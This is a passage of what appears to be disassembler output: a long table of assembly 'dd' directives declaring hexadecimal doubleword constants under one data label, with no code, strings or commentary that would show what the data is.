		dd 3300E371h, 0C5A43920h, 385EB40Bh, 0F6103Fh, 0DA4A50CCh
		dd 0AADF899Dh, 6589260h, 3C4DC0FBh, 97050B65h, 0EECC75h
		dd 4BC218A6h, 1B00FD52h, 0DA9FA2DCh, 665E13h, 339B0EFFh
		dd 0E6635807h, 4193C701h, 0A64AC6CAh, 0DED8208Ch, 2F3B64B9h
		dd 5C9E08Bh, 99F80D6Fh,	30D80AC4h, 3161BFB8h, 0D0755BBFh
		dd 868B66Ah, 0B803D829h, 0A1F079D4h, 8C4A9D36h,	48FFD10h
		dd 0A9D5A51Fh, 0B80C3012h, 10B23C3Dh, 0F8DABA0Eh, 54C0497h
		dd 498B309Ch, 2C50DCF0h, 0A480150Bh, 8A144C4Bh,	3114F07Bh
		dd 9920604Dh, 6A889FE8h, 0C79C0058h, 0D1C0A30Ch, 79018C87h
		dd 83325DCh, 0AC9630Dh,	1251D981h, 0ECC430BBh, 789190C7h
		dd 0D4290719h, 8A06B062h, 11DFE183h, 22857912h,	445C8814h
		dd 46580358h, 0DAC04173h, 204B4891h, 9600DC08h,	0E26E1D75h
		dd 305C2FA0h, 6F806C8Ah, 0DC675E3Dh, 39C3D9B0h,	0A2603E4Eh
		dd 0B01FD448h, 678F433Fh, 1E32FB5h, 64B793Ah, 175E89B8h
		dd 0F3B51471h, 0D73CB0C0h, 3ABD1042h, 5393B35h,	0C4714D34h
		dd 29D44E4Bh, 63C52181h, 0FB5403Fh, 93002C0Dh, 7E8DC906h
		dd 9FD0CDEh, 6FB66341h,	491B023h, 21C585B7h, 2025AA8Ch
		dd 0A6265884h, 0D803C28h, 888141C4h, 0F0C15470h, 0D5F813D2h
		dd 260C030Ch, 3FC0E306h, 0A7E656EFh, 0B3244471h, 186CC896h
		dd 0C2420F72h, 0B002F86h, 0E358153Ah, 51D77705h, 980423C9h
		dd 54003C41h, 80470DDAh, 45CC4900h, 331EED1Dh, 2CF898B1h
		dd 4034CDFEh, 45BCBB06h, 0D0887600h, 6A879CD2h,	0B3270AC1h
		dd 4090A493h, 724DBD9Fh, 68E0060Eh, 8F0EC43h, 0C121C06Bh
		dd 0C99C4DC4h, 8DBCA000h, 0B3091572h, 0FB1B0525h, 80F2B556h
		dd 6B304274h, 0D34CC171h, 0E6040170h, 8879676Fh, 0FC2E2085h
		dd 7494206Ah, 7000764Ch, 30887278h, 0DD685F4Ah,	3E70BE40h
		dd 3B047F0Dh, 882BB074h, 3800596Ch, 99180EF3h, 657927E0h
		dd 40750803h, 0FB89CCDCh, 3B000F12h, 4BFA387Ah,	1691DF8Eh
		dd 729725Dh, 706C256Eh,	33B795Ah, 0D924704h, 0A48194F6h
		dd 0BC60D9D6h, 2CB8E2EEh, 0A85234h, 3031E5CCh, 7D00DA62h
		dd 395F2950h, 2354B8h, 0BE18741h, 0DDE814A6h, 0F41E7325h
		dd 0C0B81CDBh, 1D92650Ah, 0B00FD89h, 0A4335B08h, 72A19E1h
		dd 0BFF309FEh, 898C8084h, 0DD0336AFh, 61F548BBh, 5B72F0C6h
		dd 0AA940002h, 0A6E5C4E0h, 1400DE36h, 97202FFDh, 0C0BD3F0Dh
		dd 17040B40h, 0C005FAAh
		dd 5206CB69h, 1F1D62h, 848B6D4h, 41F48746h, 80F2B83Eh
		dd 61505B6Fh, 0EC32A1h,	0DAC7A0DCh, 0E5FDF1F3h,	0F473F573h
		dd 10FE7F30h, 1F5184D3h, 0D062419h, 0D4512BA8h,	80A81B6Eh
		dd 24503DA9h, 9C1F4434h, 7C3CC709h, 0F5194D03h,	9651A935h
		dd 665600B1h, 8D7C79B2h, 5B0FFAF8h, 608BF29Fh, 85874D21h
		dd 0D8AFA13Dh, 97109340h, 2CF07342h, 3E337BCh, 0B9F486C0h
		dd 26475CA8h, 2A61AE00h, 0D199BCF7h, 961D3A2Eh,	20509C18h
		dd 1F00C38Dh, 29987FABh, 7C97481Ah, 0EFC60E5Dh,	3C6BA71Bh
		dd 0C107080h, 0C700D630h, 0CD38AB05h, 0A53261h,	9D5C5374h
		dd 501D8940h, 39D9DF06h, 0C881C623h, 9C06B90h, 0D13CFD61h
		dd 97224888h, 1FA28600h, 72F4587Ah, 9C320C20h, 604822D4h
		dd 1FB8048Ch, 61853D04h, 30076F9Dh, 37C21FBEh, 1511D81Ch
		dd 2D0978Eh, 0A43631C0h, 0F3606D94h, 3D29071Eh,	851B28ADh
		dd 1FAA8099h, 0FEEC7Ch,	0BD84F6F7h, 0CC4FFB27h,	60376D30h
		dd 0F52653h, 33209019h,	0B9C73262h, 0DFCB7D0Ah,	260098A3h
		dd 8866018Bh, 0F5FEB7h,	0BA5A4653h, 2ED1F69h, 7D84A700h
		dd 76E29B30h, 0BD24004Fh, 0CD8FFF5Dh, 8303BA0Dh, 0F4DBB017h
		dd 0F8FBB307h, 615B37h,	0DCE48184h, 14162098h, 0BCD009C6h
		dd 6010120h, 70B0DE8Eh,	7D0BDCFFh, 85D2C700h, 87B1CA17h
		dd 66CE8A1h, 0D1F62C43h, 3B00587Eh, 52EE9083h, 1D4BF8DDh
		dd 0CF1A56Eh, 8A204149h, 2BE23200h, 4D50DFEDh, 0AD18C15Ah
		dd 0FDB5CC3Ah, 0D428DD2Eh, 9B074AB0h, 8262778Fh, 0C1FCEF70h
		dd 411C00FEh, 241184CCh, 0EC1B5E23h, 3B0A269h, 8B5A5948h
		dd 11004874h, 7D805C17h, 198726C4h, 856B250h, 179801Fh
		dd 0BE74802Dh, 0D24B000Dh, 166E95C6h, 2A00B0D6h, 683D5633h
		dd 37E7C0A2h, 0A0695074h, 0BDDB1EE5h, 17965614h, 0EF5F8484h
		dd 89908A30h, 0F1355110h, 9D9FE6C8h, 44F0E200h,	2E8EF90Ah
		dd 1BBFD933h, 0C806D015h, 24CA932Ah, 1AC41D80h,	0DDEE4239h
		dd 0F380C0F9h, 215B82E6h, 8004B33Bh, 4E6A1208h,	0B0590916h
		dd 61200092h, 0FB5CBA65h, 0DE00A801h, 0CDFEEFDh, 951BFh
		dd 0DA419C03h, 917DCA6Ch, 0CC36A900h, 0D186F679h, 3B04E010h
		dd 8180E87Ch, 0EEEA8E41h, 830180ADh, 28919DE0h,	0D9C4CC31h
		dd 68960143h, 81E69E54h, 0E5A5C883h, 0B614E30Ah, 845820D1h
		dd 9B018C23h, 896495BBh, 7AF51348h, 0BEAED080h,	41B9B4C9h
		dd 0C09C5F00h, 59DA639h, 120C079h, 403BC9F6h, 7F01D98h
		dd 79843554h, 13919201h, 39736B67h, 30BF02D0h, 40F87245h
		dd 263009B5h, 41886833h, 0DE4BF4F7h, 0D7CA0038h, 771DD020h
		dd 3D3CBD07h, 346AA72h,	0DFDC0021h, 0DDF7A120h,	0F30F0FB3h
		dd 0AC9A71EEh, 66994Ah,	0CDBADB22h, 0FFB75935h,	0AAD4B817h
		dd 60752B0Eh, 0CBCA66C6h, 103D147Dh, 271FBC03h,	15868099h
		dd 7287E06Ah, 7841253h,	0B9427F40h, 411DC498h, 0EAC9F88Bh
		dd 0BB38A080h, 0AC07CC4Ah, 0EEB0C000h, 9C83A65h, 59E514BFh
		dd 0BC3CFC0Ah, 7FD12330h, 24185F1Fh, 6C51B5C0h,	0D2044C06h
		dd 455EEF06h, 92E1A14Eh, 38205921h, 0B8DCC5h, 0A2394438h
		dd 99BB9590h, 0D90413B8h, 68E1D076h, 0CC790080h, 5DDC184Ah
		dd 1BB21189h, 0EE430B00h, 0F94D9267h, 549574B7h, 3948E00Eh
		dd 0C38053ECh, 2F3EC0A1h, 0AB4CAE82h, 0B34D3E45h, 0AA72496Fh
		dd 4E9CA055h, 1EDCC6DBh, 403B9ACCh, 46E787AEh, 311E2E77h
		dd 0A54066E6h, 1039F6EAh, 68FE009Ch, 29F77F7Bh,	5E0D2F27h
		dd 803697EFh, 301573F4h, 12914BBAh, 3237C171h, 95D0593Fh
		dd 0A3515C60h, 652000A8h, 0E339ADDh, 5378C069h,	2CA44E24h
		dd 75DF96C0h, 0AACF211Dh, 0E3FEB762h, 0C86CB8AAh, 2E7F02C9h
		dd 4B5E24B0h, 0C0E0044Bh, 3B003DE8h, 0A6AC3CCDh, 777EFF6h
		dd 0C2640692h, 68E41069h, 78504A87h, 0DF18D990h, 0DE4132C4h
		dd 6F573EBEh, 0FA5F4600h, 0E868F7DAh, 0A0824E2Ah, 0B721900h
		dd 661F8ED3h, 46070A48h, 40F84B96h, 520B56CAh, 6F8E3E06h
		dd 11979CEh, 711BAA67h,	8027BE0Ah, 96F49D0h, 0F626C51h
		dd 0ADE8E446h, 0E2BC020h, 70918965h, 0E8193E71h, 0D9F9DC9Fh
		dd 0BD686060h, 0D31BD9C0h, 44C8A5h, 2364F9B6h, 1D5913C3h
		dd 0EAEDDF01h, 0C1455210h, 4D9090F3h, 0C6210401h, 8454AE8Ch
		dd 0DB9406A1h, 170B207Ah, 8089B910h, 623601C1h,	15991225h
		dd 9FCC2187h, 4CB0C13h,	0A9B97FCCh, 2048325Ch, 77C81008h
		dd 0DFBBAB05h, 3E82AD11h, 0D37461F5h, 1CBF8058h, 0C8B91BC9h
		dd 1C449DA7h, 0D0AB8C47h, 364D595Fh, 2048803h, 0F0501ADDh
		dd 7418D9F9h, 88D8547Bh, 534709EAh, 708A0EFAh, 80DE11BCh
		dd 0EFED0B59h, 229543B7h, 11D20098h, 7D60C90Bh,	0AC2C1A62h
		dd 0B2069099h, 81B14103h, 4218FC84h, 0B970C802h, 659DA861h
		dd 0CF950050h, 0EE1192C9h, 0F6B1061Dh, 58B77E82h, 0BB544817h
		dd 71449173h, 611836h, 0C550B1BDh, 0E2185C1h, 0E9D5EF30h
		dd 1E263A62h, 1E761A8Ah, 0AA24C238h, 641E575h, 0D2746020h
		dd 0F9DAEE34h, 1E98940Fh, 0B7F00E1h, 0AB07EADFh, 0D43F4486h
		dd 110B370Eh, 6BE1A09Bh, 0C6447327h, 0D91559F1h, 337EF504h
		dd 1481EA8Ah, 0DDE4B10Ah, 64EF3008h, 0DFCA2169h, 0C613300h
		dd 3CAE0B30h, 1A84F24Bh, 98CD4CDEh, 50F9C044h, 0C10407B8h
		dd 2235C602h, 64CC2A1Ah, 93A48180h, 0B02D118h, 0D7F78EDAh
		dd 8083114Bh, 0B584721h, 7A9B79Ch, 0CCA650FBh, 2517B011h
		dd 68A11AC0h, 5BC5072h,	320070A2h, 0FD4355C2h, 0EEC643Bh
		dd 5E93CF6Bh, 0DE7E3400h, 0EE2CE461h, 0B9433025h, 66713FB5h
		dd 0CE5CA78Fh, 9E1400FDh, 0BB922127h, 6DEAA200h, 0CD03B462h
		dd 987F7222h, 1D2A7DB4h, 0C0C5BC76h, 132F4FD0h,	5B00233Bh
		dd 7DBD3426h, 0FC35A1h,	9EA0F0E8h, 58A2EE6Ch, 42868201h
		dd 18D259CEh, 3DC4BBF4h, 653BD5A8h, 0ACB200F5h,	0DAEB25CDh
		dd 261C1349h, 0B75DB51Dh, 0AC2A446h, 3E2F6CAh, 826BE0D3h
		dd 21B1FE64h, 0BB5E45Dh, 593BD000h, 4274AA7Fh, 6623004Eh
		dd 8CAF8ED5h, 1D077136h, 7DFD210Dh, 0D8A94B93h,	70A824BDh
		dd 0C28207F1h, 0F0A4485Bh, 0EB3BC651h, 9FA0FB0Ah, 1F91608Ch
		dd 70A91D80h, 0A343ED44h, 56318400h, 0B67CDB13h, 0FC173413h
		dd 6EAB0800h, 7499BAh, 26EDD853h, 3852897Dh, 4C85F51Eh
		dd 0E80F0D00h, 75572C06h, 60BCFA13h, 25BAC0A2h,	95009F5Ch
		dd 6D566649h, 8090B2h, 1DF4CA5Ah, 855764B8h, 803B2C3Ch
		dd 0E81209BAh, 40717FBh, 132DF825h, 66798256h, 0A05CCE40h
		dd 920EDB7Ch, 61F19653h, 19B0B2A4h, 3C935E20h, 0FA8AEDFBh
		dd 5E0A3E9h, 76F59A5h, 0F08227A0h, 1C2ED61Fh, 0D7958601h
		dd 0DBA798B5h, 32A26FCh, 9C093C11h, 0F7F9F24Ah,	4846D98Eh
		dd 92E807C0h, 1740CD00h, 9516D9F4h, 6034B08Dh, 237B4028h
		dd 8B9C0C4Ch, 3EA79A03h, 0FB0380A6h, 0C9300040h, 0CE63A0DAh
		dd 3F00D3DBh, 5E19A283h, 7EB32D5Ah, 43803E7Fh, 7313C902h
		dd 93E0BF96h, 0F016F1Ah, 0BE0C74C0h, 58F02D77h,	0B2610062h
		dd 18B68C30h, 0C90E1B2Ch, 8051DC90h, 4B98F25Bh,	0D80B005Ch
		dd 0C00ADDAEh, 6D00BF87h, 9095F868h, 0D467D1h, 8DA4E430h
		dd 47825111h, 0EDDA3400h, 0A03C604Bh, 43081C45h, 580EA57h
		dd 0E3AA2610h, 88388B87h, 5862C01Dh, 8EC04DE1h,	2A20D980h
		dd 0C6C8005Ch, 6C084167h
dword_50BC48	dd 545C50A3h, 43101074h, 0C320D2C0h, 1A21EF1Dh,	2113Fh
		dd 9929E38Bh, 7F6DFB4h,	3FEB3D4Fh, 2CB690D5h, 730E8BDBh
		dd 5E756885h, 7DCB0EC1h, 502C5B79h, 4A9D1D05h, 12A78223h
		dd 48A6CCC0h, 7359A91Ch, 0A36FF449h, 90EAF198h,	9C11A7h
		dd 7CB602CCh, 9B9E8713h, 9BED314h, 7FD626D6h, 30DD4100h
		dd 0A7CDDABAh, 0A4FD0420h, 4ACA301Dh, 18C45851h, 0A15398C0h
		dd 0ACB1BFEFh, 6F0D39C0h, 434C0562h, 0C0E9D8C1h, 7518FBF9h
		dd 6E1AE301h, 6BC47372h, 0D6D8519Eh, 0A8D400B8h, 7576DEF7h
		dd 0AF104500h, 744BC1F5h, 79F603E9h, 4E70B344h,	0BC491898h
		dd 40530130h, 0B1D6C512h, 3D4B0EC0h, 0D1ECA9E0h, 570063ABh
		dd 0BF3A9022h, 1D2BC5h,	0C0DDDBD8h, 0DF0C40C4h,	0E70092E2h
		dd 3F5456BAh, 1A07063Ch, 0E290378Fh, 0C0004CC4h, 95A52EBEh
		dd 0D38464h, 0C4D0FEEh,	80E7CAF4h, 0F06D140Fh, 0AA6741AFh
		dd 31304A58h, 1049244h,	9C6C33Ch, 0DEE14CA3h, 0F8F2C4C4h
		dd 0A45CE900h, 5DE2E410h, 0AB3E001Fh, 0D0B2AAACh, 81DF42BDh
		dd 0A7D16640h, 3FE5904h, 0C88FA023h, 12C0F8AAh,	0CF000905h
		dd 70CB02Fh, 9B42E1h, 557F15C4h, 3D6F176Bh, 4C09B524h
		dd 1B187340h, 76CD0007h, 0F438AA86h, 0F6003FC9h, 0EA524DE5h
		dd 18AE483Bh, 8E78B37h,	0AF073A38h, 0C0B4FC6Dh,	0B971D0E0h
		dd 0E00C00CAh, 0F9D95928h, 5A070167h, 777A10C5h, 29D17143h
		dd 75046A60h, 0E3D7D8h,	2D95502Bh, 4960EB6Dh, 7A351B1Eh
		dd 8D2F82C0h, 38E76ADh,	0FDD7EEB2h, 5FF0EF93h, 0CB32A470h
		dd 1013293Ch, 0D140D233h, 0B4B6206Bh, 7BF16710h, 240C8721h
		dd 0A037515Fh, 40535514h, 8044CB7Ch, 0DC8420FFh, 481B3342h
		dd 8BFA7964h, 0DD163C21h, 50A49F02h, 29A3427Bh,	61850386h
		dd 0A9DB2918h, 88538751h, 29C6DF17h, 4279B571h,	8CF97D27h
		dd 2826DBC9h, 0BDECE2h,	0AFAC5A30h, 6C1BEBAAh, 7748810Fh
		dd 688D4664h, 4ED40020h, 0A1E3E0ADh, 51E04465h,	0FF017A00h
		dd 1EF199F5h, 7E603FF2h, 40304980h, 0BDDEFE2Ah,	0C60F8D00h
		dd 257C7B01h, 91950043h, 0A412B838h, 0A60E1DD9h, 0C05E7367h
		dd 6227E5B0h, 84383F8Fh, 6FBB0700h, 14D4C377h, 320DC500h
		dd 0C6A81B65h, 0DE4E00A1h, 0E47DE864h, 0BA7ABCCDh, 0F8450303h
		dd 0CE54F2h, 36E8D310h,	0B3CF1E61h, 0C00001E2h,	816FDA11h
		dd 5C08E1D7h, 6B0046E2h, 0FC3CA93h, 0A84932A4h,	9007A2Ch
		dd 372C5FB1h, 1214CDAh,	2F68C464h, 0E0B77B0Fh, 0CF758B93h
		dd 716B7F00h, 0E2E88554h, 70ED00A5h, 3B5A1F25h,	9E7A77C2h
		dd 0E7F3F0E1h, 694B100h, 900F9FB7h, 0C1F00340h,	205FC67Ch
		dd 47DF80DFh, 361C2732h, 79871B10h, 0AAA0E313h,	7621A2A9h
		dd 25C600F9h, 0B1BB50C4h, 583CEF72h, 0A7DE00D7h, 18E053Ch
		dd 0D48A071Eh, 86C656F3h, 3800E06Eh, 743679E3h,	395065h
		dd 0D8A04BD9h, 0A495DF49h, 78177D00h, 975B9AA7h, 0BFBA0070h
		dd 81E206F2h, 660C4E88h, 48CB5DC3h, 180F0045h, 49419850h
		dd 0F73AEA48h, 14560068h, 4F6A090h, 63AF1209h, 0F8C500E3h
		dd 0EF7F369Eh, 0AA2432Eh, 0CA385000h, 80A952h, 2C917694h
		dd 8931A5CDh, 78F78D00h, 0B4717D7h, 0EAF2E4AFh,	0CA3B008Eh
		dd 7446B47Dh, 20704499h, 51117000h, 7EEFE1A3h, 4D82000Bh
		dd 7F0ECD15h, 9C02FBC3h, 7D3294E8h, 48CA78E9h, 900C5ACh
		dd 8F0E440Ah, 543CF4AAh, 87A0016h, 1B3DAE92h, 5FFA00E9h
		dd 0A76BFFBFh, 7E00D071h, 44217FDFh, 3A939249h,	339D76E5h
		dd 0F9CA0082h, 0B2EA645Eh, 6918AA00h, 7D43F340h, 0AE5C3BA6h
		dd 61B3660Fh, 872B9E80h, 3C009A7Ah, 96460DEh, 52108Ah
		dd 0B0F7E85Eh, 0A5B7358Ch, 3BE6A171h, 2AD38B0Bh, 3D9B8019h
		dd 847F4Dh, 4A9B134Bh, 0A9F7F908h, 0DE0159E4h, 0BB024E1h
		dd 0CFF8CDE3h, 7B50173Fh, 557C00E9h, 33BA1E19h,	8692D400h
		dd 0E3E2B643h, 74CB2805h, 8C823ACFh, 27F54A80h,	0CFBD1AFEh
		dd 0C7E3Ah, 995C2B02h, 165B0F3h, 0A3EC7B15h, 0CC2A1C84h
		dd 1200BB55h, 0EDF14C5Dh, 0EEBDC064h, 0D1C500DFh, 0EDAFF83h
		dd 0A5F2A960h, 0B5C6FE00h, 0D003F18Ch, 17B1002Ah, 707A669Dh
		dd 320050FBh, 9E38B80Dh, 74A469Fh, 0CE0C2AA2h, 792F70F0h
		dd 0E4007C86h, 9CFC2CFAh, 8882B6h, 0B374DED2h, 0F0DA7E37h
		dd 0B91C5107h, 17405E80h, 9054D28Ah, 24B200B2h,	1843BA2Fh
		dd 12F033FDh, 6594007h,	6510AD30h, 0FEC4419Eh, 3F6914A7h
		dd 59A3F8D5h, 686031CAh, 0A5A08CA1h, 2148B805h,	0BFEE87DCh
		dd 0EFF66963h, 656F3290h, 0F177B8h, 0B64446D7h,	63110E8Dh
		dd 0E1D5EA01h, 4E8378A2h, 321FCD8h, 52F4D9CCh, 6D98BF3Fh
		dd 57001CC5h, 18632DBCh, 532617h, 0FA1D60E2h, 0D3803876h
		dd 0DA811500h, 0CF14AD83h, 71A40043h, 0AAFE5B72h, 23074B3Eh
		dd 96070CE8h, 80364F50h, 0A897001Dh, 3E7B9FB6h,	0CD00EC5Fh
		dd 49DF9AFBh, 7AF7515h,	651147CAh, 0EC769320h, 8E105600h
		dd 7A570223h, 66580007h, 0FDB13BB4h, 0C6009C46h, 64FF7F97h
		dd 14DABBAFh, 8C7BBAFAh, 0C2632380h, 5100DC3Dh,	0A4CE8BF4h
		dd 0E5C669Ch, 0BDA1463Fh, 76EF2CA0h, 8500FBDAh,	0C1D45B8Fh
		dd 3CB2AE5Dh, 0FDDF3Ah,	2A3DB93Eh, 35879E08h, 0B0928E00h
		dd 58595B67h, 29F2DBh, 1B395E03h, 923F682Ch, 0CDA6F00Fh
		dd 60A44017h, 0F29ECEh,	0D6E06EA1h, 7C628C26h, 2815E301h
		dd 0A3C3CDC2h, 0FA285D8h, 821DED56h, 17492560h,	9F00E9C4h
		dd 637D0D52h, 0E7575Dh,	1D4D4799h, 65D6FFA3h, 25006EECh
		dd 4A116BF4h, 0F083DEA0h, 435E0FBBh, 0A840AC93h, 0E3720645h
		dd 0D448E428h, 13E3900h, 15C00529h, 0CCE5503Bh,	377BFh
		dd 992F1A41h, 0C713DE4h, 4BB7CC01h, 36F3128Fh, 9F102081h
		dd 0FC51CFC6h, 0EE1EA1E1h, 4F007240h, 0C502174Eh, 3CFB00A9h
		dd 0B448D628h, 0FF032EDAh, 1A621F14h, 2D0CB869h, 0CBE90343h
		dd 0E8EC8D0Fh, 628EC9A8h, 5B4AF800h, 793B9E6Eh,	9828005Dh
		dd 4719E685h, 75035E23h, 0A507C2B1h, 0A1C79F9Ch, 3D0E1670h
		dd 8FABA05Ah, 0F8DA1E21h, 0D900FD61h, 1EAA26Ah,	20E7395Bh
		dd 0BE00A913h, 8381943Ch, 0E20AFCh, 91668D29h, 49BA960Bh
		dd 0C79E4000h, 5F930ED3h, 0F2430014h, 0E360762Bh, 0A412FD96h
		dd 0D1004FFBh, 0E13555FCh, 3B471290h, 0B053022Bh, 7060B7B1h
		dd 0D0E4A913h, 1100AD98h, 0A4343EB8h, 240F61h, 92D37E36h
		dd 0E33B419Bh, 72C30C00h, 569F0790h, 71961694h,	0E700F7Ah
		dd 494073AFh, 54BF8041h, 4A3FF900h, 0A64D4062h,	27D63E48h
		dd 3ABC3900h, 0CE3E9D96h, 0DAA7311Ch, 8B840038h, 0DDE142E3h
		dd 0BB6C3943h, 3D11349Fh, 958D7380h, 3FA53DEEh,	715E140Fh
		dd 1BEA90Ah, 82A09A0Ah,	44E0E0h, 0D3FF5C4Dh, 3EA86231h
		dd 4CFEE700h, 0B49C520h, 5BFA00BEh, 57300FBDh, 0A50ECA3Ch
		dd 775672h, 35FC969Ah, 738200F8h, 62DAB604h, 233BF09Bh
		dd 85C08003h, 0C3E2D2F6h, 69FF01AAh, 987C9291h,	2142D077h
		dd 61D7830Fh, 4A2900A5h, 0F2538E24h, 0A71E000Bh, 2CB75C2Dh
		dd 0DB7520D2h, 68007874h, 0D9275401h, 429795Ah,	0D502721Dh
		dd 0BADE80FFh, 7600C6DAh, 3DAC30FDh, 1299D4h, 5E5F05E7h
		dd 11558E32h, 0C8709B00h, 0D4A65821h, 0C3784C68h, 9D799C00h
		dd 0B1CEB0DDh, 1ABD540Fh, 0B7C24056h, 3EE66394h, 423A9A33h
		dd 9FA95380h, 0B846E34Ch
		dd 60A3CC00h, 8DD4F0BFh, 1D9A0337h, 23FC0371h, 0C2BC82ADh
		dd 8800E865h, 7D17DB8Bh, 0BAE800D1h, 0F048351Bh, 0F91060E4h
		dd 7A000E87h, 5FD5492Dh, 38008CE1h, 0AF55D6D1h,	0FEAE5AA1h
		dd 0F0EF00EBh, 0E85C3095h, 6160667Dh, 42979B70h, 78854CE0h
		dd 91A916h, 0C016C305h,	0B0029F7h, 5075D052h, 58ABE5B0h
		dd 1B00A296h, 597CD142h, 0EE004B5Bh, 0EB17F2A9h, 11EC729h
		dd 0BA465AD2h, 0D823D0E0h, 0B502873Fh, 0ACFBBF8Bh, 0F90C40F3h
		dd 648F002Dh, 227FE9B8h, 98006821h, 0E6F7075Fh,	3D1E4FC4h
		dd 0EE017D76h, 0D8F54456h, 101FE4ADh, 0F786C300h, 973DF247h
		dd 0F614F67Bh, 0F8907E0Bh, 70DC0035h, 0DB66501Ch, 0E3760D3Dh
		dd 0D00AC171h, 0E462E891h, 0D1C80B00h, 98A3DEE7h, 0B0C07CB8h
		dd 60D95C3Fh, 383DB300h, 9D91FC2Eh, 0B64B3001h,	0BC253762h
		dd 6BDFE1F2h, 3567C30h,	8F70A511h, 0FFD0E62Ch, 0ACA0B9CCh
		dd 5190E7A7h, 5F1B7B1Eh, 0F72BF300h, 2455FEh, 61BDCC84h
		dd 46155387h, 671ADB00h, 4F34F25Ch, 0A978E1h, 7DBB0AA1h
		dd 0D063A47h, 6C680B00h, 0B33E2183h, 0FCDD1F0Ch, 30AF0075h
		dd 22C641E6h, 0E100F7FAh, 0A8098A62h, 0C8CCCBh,	94B12B65h
		dd 0BE4243F4h, 892AFF1Dh, 0E40CD740h, 1DF6066h,	712CD0EBh
		dd 216D18BFh, 0D74E4EBh, 563D4500h, 0C87E515Eh,	7E1B059h
		dd 38022709h, 4B50004Ah, 76004132h, 43954708h, 1D2C7BACh
		dd 0C085679Bh, 65DBE257h, 8300F891h, 0B4B79A20h, 176CE4h
		dd 0A384463Eh, 1E47B63Ch, 10AA9D01h, 853C83Fh, 0CEA4E8h
		dd 206D3D7Ch, 0FB9DBE5Bh, 6BB34300h, 0DA9A36C0h, 0C1E000F5h
		dd 0C8ECB8F9h, 340006C4h, 0E7A3DD3Dh, 44CF62h, 155D03E1h
		dd 87EC0FC7h, 0A2C4A907h, 11104D71h, 7E56FE81h,	0FBB800BBh
		dd 0C5120C7Bh, 0DFB8D385h, 17FD6F00h, 0AD012AA2h, 7A9B824h
		dd 0C6FB0F28h, 0C33DE113h, 50C28095h, 638980FAh, 29AF062Ch
		dd 38A49C48h, 356DBA14h, 2D4CE7h, 9F91CF4Ch, 3F5C6F6h
		dd 6955A49h, 53E9FCCAh,	304A319Ch, 310167AAh, 0A2E2F48Bh
		dd 289E3E7Eh, 0DB454070h, 2D9DB288h, 0B5527800h, 1B7EAE3Ah
		dd 0FFAD000Ah, 55BD4F20h, 0B9004C05h, 0AA29AC8Eh, 7AB7CB09h
		dd 53FF072Dh, 50923768h, 9BD532FEh, 0FB834907h,	0FA304336h
		dd 3B1D9441h, 0A6183801h, 0E46118E1h, 7D846B54h, 8035BE00h
		dd 0ABE73AB1h, 197C00F2h, 0D68FFE64h, 327A8106h, 0C2591E1Fh
		dd 0D701BB5Dh, 0EFD8A4A8h, 403A1980h, 0F0A9398Eh, 3154E600h
		dd 3F694A4Bh, 7C9A08Bh,	19220479h, 87EF2921h, 0F4D5A08Eh
		dd 6500C72Eh, 137D9067h, 14559572h, 0D450DD39h,	6E426306h
		dd 960FBEFAh, 80045297h, 86AE5961h, 7CFC00B0h, 0B130542Ch
		dd 0E91C5FC4h, 0D5809A76h, 2D368020h, 9B7FD9h, 9C79530Fh
		dd 0C0EF5086h, 0C5B5560Eh, 0CF401E5Eh, 88640CC7h, 9A240011h
		dd 0E8A9ECAEh, 2D00E692h, 0EEBE83A0h, 351519h, 0DF56FC4Eh
		dd 0CE58D645h, 0A5F09300h, 0E05DB9E7h, 97D94C33h, 7D94007Dh
		dd 0D1E265Fh, 643CE309h, 0C1340059h, 58703D9Fh,	92361CA7h
		dd 0FA328E1Dh, 4B13FC0h, 3C0A7377h, 0D898D86Eh,	1B07A804h
		dd 149DD140h, 0C7003D6Ch, 7B51F810h, 710259C5h,	618D0091h
		dd 0D76C27B6h, 0C603D86Bh, 1C4E8546h, 4DAAA897h, 1CA000Ch
		dd 2D7BCE80h, 0B900C247h, 0FBCC0522h, 3065FD83h, 0DB28D166h
		dd 0B200E96Bh, 2B7EBB9Eh, 0E1AEA01h, 4DC710Eh, 9FC9E201h
		dd 1D05F01Ch, 0B6700200h, 589CFD59h, 0A0B248DFh, 0BA9E1A00h
		dd 79845B54h, 0CFF86D7Dh, 42047D00h, 7A213D49h,	0F4E000FDh
		dd 9733856Fh, 0B660C630h, 17EEDB59h, 0D6F100BAh, 2139A967h
		dd 4903239Dh, 1A5D2F16h, 0B9A59073h, 3DD9000Ch,	0DDD63CEBh
		dd 0E805A4EAh, 9E433750h, 5EAFE403h, 0F084CBD4h, 123199h
		dd 0B467F4Ah, 9D37D83h,	9AD8E91Fh, 710F0A1Fh, 89CE43E0h
		dd 0E0AAFB02h, 0B5DD4Ah, 9852F795h, 9D1CBA5h, 0BE25343Ah
		dd 0DEAD02AFh, 80CC0686h, 0F6C68894h, 9DC7005Dh, 54D54278h
		dd 7301D99Ch, 0CF1B1D2Eh, 49E8CCFAh, 94040786h,	0A3A8EF91h
		dd 0A9B842AFh, 7C007058h, 129D3341h, 3EEFBF80h,	260423C7h
		dd 0C0C0DBF1h, 0ABD1050Fh, 5900977Bh, 27E308F2h, 9E201Fh
		dd 642CC236h, 7463172Bh, 0F89BA000h, 73726AD7h,	480B00A2h
		dd 46DF2757h, 2F00EED4h, 456E8A79h, 0A00C4Ah, 0B6395352h
		dd 0EFC246A8h, 6F006A70h, 0F13E45C0h, 0ED935Bh,	0EE13976Bh
		dd 0C6CE0BFAh, 0B3597F00h, 43416CA5h, 0F9AF00B6h, 0BEE70C7Ch
		dd 3B04AC92h, 5514B3CCh, 0BA690C80h, 0D2770083h, 0D748FFA8h
		dd 0E0042C9Bh, 2D060CADh, 0B759CC0h, 0A238025Bh, 689BA437h
		dd 0E8251049h, 4303EFEDh, 0D7557A4Dh, 19F9E8E8h, 11100D1h
		dd 6C7B95B1h, 500FBA6Fh, 0EE240D4Eh, 60ACEF27h,	2E91A230h
		dd 0DA1C009Ah, 731303BCh, 0B3005EFCh, 94CDFFD8h, 18C58A4h
		dd 9EB4973Ch, 0F062497Eh, 502CA59h, 83DDF908h, 43B660D3h
		dd 3541002Eh, 54E9A5E8h, 40783682h, 9D955700h, 0C88C4DC2h
		dd 67E80034h, 3DA64B74h, 11D1A5Fh, 0D2C0B0D9h, 62CA7D8Ch
		dd 0EC5804B5h, 0C0B49A23h, 56471B3h, 1455500h, 0CF5BAA73h
		dd 0A8C000Eh, 8AB9A610h, 7F482AC3h, 543F0038h, 239A1D17h
		dd 93D4009Eh, 62846DECh, 5E4FEAE8h, 70017400h, 3CE5F0h
